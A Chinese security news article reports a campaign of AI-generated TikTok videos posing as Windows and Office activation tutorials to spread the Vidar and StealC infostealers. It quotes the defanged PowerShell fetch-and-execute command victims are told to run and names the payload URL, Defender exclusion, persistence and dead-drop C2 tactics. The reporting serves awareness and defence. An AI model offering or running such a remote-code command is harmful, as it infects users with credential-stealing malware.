【安全圈】警惕 TikTok 热门视频传播盗版软件教程，实为窃密木马诱饵

关键词

tiktok

网络犯罪分子正将 TikTok 打造成恶意软件传播的新战场。近期，一项利用 TikTok 热门视频进行社交工程攻击的行动被曝光，攻击者通过 AI 生成的视频伪装成“软件激活教程”，诱导用户下载 Vidar 和 StealC 等信息窃取型木马。

这些视频通常宣称可以免费激活 Windows、Office、CapCut、Spotify 等流行应用，吸引大量用户点击。在一个案例中，单条恶意视频就获得了近 50 万次观看、超过 2 万点赞和上百条评论，显示该攻击形式的高传播性与欺骗性。

Trend Micro 披露，该行动涉及多个 TikTok 账号，包括 @gitallowed、@zane.houghton、@allaivo2、@sysglow.wow 等，所发布视频内容相似，均采用 AI 合成语音，无真人出镜，显示攻击者可能使用了自动化视频生成工具以实现大规模扩散。

攻击流程详解：PowerShell 下载执行远程木马

受害者在视频引导下，手动运行如下 PowerShell 命令：


iex (irm hxxps://allaivo[.]me/spotify)

该命令触发多阶段感染链，具体过程如下：

• 创建隐藏目录：脚本首先在受害系统的APPDATA和LOCALAPPDATA目录下建立隐藏文件夹；

• 规避杀软：将这些目录添加至 Windows Defender 的排除列表，从而规避检测；

• 下载木马主程序：从远程地址hxxps://amssh[.]co/file.exe下载 Vidar 或 StealC 样本；

• 持久化机制：通过注册表项实现开机自启，并下载额外脚本script.ps1以维持远程控制。

Vidar 木马具有复杂的 C2（命令与控制）隐匿机制。它滥用 Steam 用户资料页与 Telegram 频道作为“死信投递站”（Dead Drop Resolver），借此动态获取真实 C2 地址，极大增强了对抗域名封锁和安全追踪的能力。

此次攻击通过 TikTok 平台展开，是传统恶意软件传播方式向社交平台渗透的典型案例。不同于以往通过恶意网站、邮件钓鱼进行诱导的手法，该行动将所有社工链条集成进视频内容中，显著提高了欺骗成功率，也对现有安全检测机制构成挑战。

安全圈

网罗圈内热点 专注网络安全

实时资讯一手掌握！

好看你就分享 有用就点个赞

支持「安全圈」就点个三连吧！